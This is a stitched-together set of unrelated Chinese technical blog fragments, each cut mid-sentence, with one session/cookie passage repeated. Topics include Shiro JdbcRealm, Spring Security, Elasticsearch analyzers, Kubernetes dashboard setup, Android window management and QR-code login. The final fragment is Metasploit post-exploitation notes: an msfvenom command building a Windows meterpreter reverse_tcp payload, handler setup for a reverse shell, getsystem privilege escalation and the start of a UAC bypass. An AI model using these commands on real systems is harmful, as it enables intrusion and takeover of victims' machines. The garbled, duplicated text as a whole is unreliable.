token

主要就是JdbcRealm这个类 先看一下部分源码： 先建表：users（用户名 / 密码）、user_roles（用户 / 角色）、roles_permissions（角色 / 权限），并且往users里面插入一条数据---lc/123，其实也就用了一个users表登陆一下 创建ini文件： jdbcRealm=org.apache.shiro.realm.jdbc.JdbcRealm dataSource=com.alibaba.druid.pool.DruidDataSource dataSource.driverClassName=com.mysql.jdbc.Driver dataSource.url=jdbc:mysql://localhost:3306/shiro dataSource.username=root dataSource.password=123456 jdbcRealm.dataSource=$dataSource securityManager.realms=$jdbcRealm 测试： @org.junit.Test public void t4(){ Factory<SecurityManager> factory=new IniSecurityManagerFactory("classpath:shiro-jdbc-realm.ini");

目录 1. 前提概要 2. 数据库表结构 3. 项目结构 4. 编写实体类 4. 核心配置类SecurityConfig 5. 登录认证 6. 验证token过滤器 7. 获取请求路径所需角色过滤器 8. 用户权限验证 9. UserService 10. HelloController 9. 流程解析 10. 接口测试 10.1 登录测试 10.2 访问有权限的接口 10.3 访问无权限的接口 10.4 访问权限表以外的接口（登录即可访问） 1. 前提概要 本项目通过采用目前较流行的四种框架进行整合，实现基于数据库的动态权限分配及用户认证项目，可拓展性好，开箱即用，任何涉及权限分配及角色认证的业务均可在该项目基础上直接进行业务开发！此文仅对项目的核心模块进行介绍及如何使用，其它模块类似于异常处理模块将不做介绍。 项目已上传到github： https://github.com/SmallPineApp1e/SpringBoot-Security POM导入相关依赖 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi

session session的中文翻译是“会话”，当用户打开某个web应用时，便与web服务器产生一次session。服务器使用session把用户的信息临时保存在了服务器上，用户离开网站后session会被销毁。这种用户信息存储方式相对cookie来说更安全，可是session有一个缺陷：如果web服务器做了负载均衡，那么下一个操作请求到了另一台服务器的时候session会丢失。 cookie cookie是保存在本地终端的数据。cookie由服务器生成，发送给浏览器，浏览器把cookie以kv形式保存到某个目录下的文本文件内，下一次请求同一网站时会把该cookie发送给服务器。由于cookie是存在客户端上的，所以浏览器加入了一些限制确保cookie不会被恶意使用，同时不会占据太多磁盘空间，所以每个域的cookie数量是有限的。 cookie的组成有：名称(key)、值(value)、有效域(domain)、路径(域的路径，一般设置为全局:"\")、失效时间、安全标志(指定后，cookie只有在使用SSL连接时才发送到服务器(https))。下面是一个简单的js使用cookie的例子: 用户登录时产生cookie: document.cookie = "id="+result.data['id']+"; path=/"; document.cookie = "name="

session session的中文翻译是“会话”，当用户打开某个web应用时，便与web服务器产生一次session。服务器使用session把用户的信息临时保存在了服务器上，用户离开网站后session会被销毁。这种用户信息存储方式相对cookie来说更安全，可是session有一个缺陷：如果web服务器做了负载均衡，那么下一个操作请求到了另一台服务器的时候session会丢失。 cookie cookie是保存在本地终端的数据。cookie由服务器生成，发送给浏览器，浏览器把cookie以kv形式保存到某个目录下的文本文件内，下一次请求同一网站时会把该cookie发送给服务器。由于cookie是存在客户端上的，所以浏览器加入了一些限制确保cookie不会被恶意使用，同时不会占据太多磁盘空间，所以每个域的cookie数量是有限的。 cookie的组成有：名称(key)、值(value)、有效域(domain)、路径(域的路径，一般设置为全局:"\")、失效时间、安全标志(指定后，cookie只有在使用SSL连接时才发送到服务器(https))。下面是一个简单的js使用cookie的例子: 用户登录时产生cookie: document.cookie = "id="+result.data['id']+"; path=/"; document.cookie = "name="

1.standard analyzer 标准分析器 由以下使用分词器和分词过滤器组成 Standard Tokenizer Standard Token Filter Lower Case Token Filter Stop Token Filter PUT my_index { "settings": { "analysis": { "analyzer": { "my_analyzer": { "tokenizer": "my_tokenizer" } }, "tokenizer": { "my_tokenizer": { "type": "standard", "max_token_length": 5 } } } } } POST _analyze { "analyzer": "standard", "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone." } 分词后的结果; [ the, 2, quick, brown, foxes, jumped, over, the, lazy, dog's, bone ] 自动小写化分词，默认不适用停用词，可配置三个参数 （1）单个词最大长度（max_token_length 默认255，超过则按照255切分） （2）停用词(stopwords

博文大纲： 一、dashboard 二、Weave Scope 三、Prometheus 一、dashboard 1）获取yaml文件修改并执行 如图： [root@master ~]# wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-rc5/aio/deploy/recommended.yaml [root@master ~]# vim recommended.yaml +39 #定位到39行，修改其提供的service资源 spec: type: NodePort ports: - port: 443 targetPort: 8443 nodePort: 31001 selector: k8s-app: kubernetes-dashboard #因为默认情况下，service的类型是cluster IP，需更改为NodePort的方式，便于访问，也可映射到指定的端口 [root@master ~]# kubectl apply -f recommended.yaml [root@master ~]# kubectl get pod -n kubernetes-dashboard NAME READY STATUS RESTARTS AGE dashboard-metrics-scraper

一、WindowManagerService 窗口管理员 窗口的概念，直观的看，是一个界面，比如桌面、打开的一张照片。 从SurfaceFlinger的角度看，它是一个layer，当向surfaceflinger申请一个surface时，实际是创建了一个layer，承载着跟窗口有关的数据。 从WindowManagerService的角度看，它是windowState，管理着窗口有关的状态。 WindowManagerService除了管理着系统中所有的窗口外，还有一个重要功能就是负责事件的分发。因为它管理着系统的所有窗口，所以当有一个事件到来时，WMS最有可能知道哪个窗口适合处理这个事件。 1. WindowManagerService的启动。 WMS是由systemServer启动的系统服务的一种。 SystemServer.java /** * Starts a miscellaneous grab bag of stuff that has yet to be refactored and organized. */ private void startOtherServices() { final Context context = mSystemContext; ... WindowManagerService wm = null; /

在平时开发中，如果网速比较慢的情况下，用户提交表单后，发现服务器半天都没有响应，那么用户可能会以为是自己没有提交表单，就会再点击提交按钮重复提交表单，我们在开发中必须防止表单重复提交。 一、表单重复提交的常见应用场景 有如下的form.jsp页面 1 <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> 2 <!DOCTYPE HTML> 3 <html> 4 <head> 5 <title>Form表单</title> 6 </head> 7 8 <body> 9 <form action="${pageContext.request.contextPath}/servlet/DoFormServlet" method="post"> 10 用户名：<input type="text" name="username"> 11 <input type="submit" value="提交" id="submit"> 12 </form> 13 </body> 14 </html> 　　form表单提交到DoFormServlet进行处理 1 package xdp.gacl.session; 2 3 import java.io.IOException; 4 import javax.servlet

原文地址：https://my.oschina.net/u/4231722/blog/3154805 作者：imtech 1. 引言 　　扫码登录这个功能，最早应该是微信的PC端开始搞，虽然有点反人类的功能（不扫码也没别的方式登录），但不得不说还是很酷的。 　　下面这张图，不管是IM开发者还是普通用户，应该很熟悉： 　　于是，搞IM产品的老板和产品经理们，从此又多了一个要抛给程序员们的需求——“为什么微信有扫一扫登录，而我们的没有？”。 　　好吧，每次只要是微信有的功能，IM程序员们想甩锅，难度就有点大了，必竟老板们都都会想当然认为，微信有的“我”的IM产品里也得有。既然无法回避，那就只能老老实实搞懂技术原理，然后自已使劲撸吧。 　　本文将简要的介绍扫码登录功能的技术实现逻辑，并实际结合淘宝、微信的扫码登录功能，学习和研究大厂主流应用的技术实现思路。 2. 基本技术原理 2.1 扫码登录功能到底是什么样的？ 　　首先介绍下什么是扫码登录。现在大部分同学手机上都装有微信、qq和淘宝这一类的软件。而这些app都有他们相对应的网页端。为了让用户在使用他们的网页时登录更加方便和安全，使用手机扫一扫就可以登录的服务，就显的自然而然了。 　　几个主流大厂应用扫码登录时的界面效果如下： 　　有很多小伙伴可能会感到很神奇，网页上只是显示了个二维码，它怎么就知道是哪个手机扫到了二维码

后渗透测试 安全牛学习Metasploit Framework笔记 一、已经获得目标系统控制权后扩大战果 （1）提权 （2）信息收集 （3）渗透内网 （4）永久后门 二、基于已有session扩大战果 - msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 - b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe - use /exploit/mutli/reverse_tcp - set payload windows/meterpreter/reverse_tcp - exploit - 只要目标系统执行1.exe，我们即可获得反弹shell 三、获取system账号权限 （1）提权可以使用getsystem，如果没有该命令 （2）使用load priv，加载包含getsystem的priv插件（priv表示提权） （3）如果getsystem获取不到权限，基本是被UAC限制了 四、绕过UAC限制 （1）基于session获取system - use exploit/windows/local/ask - set session - set filename - set payload windows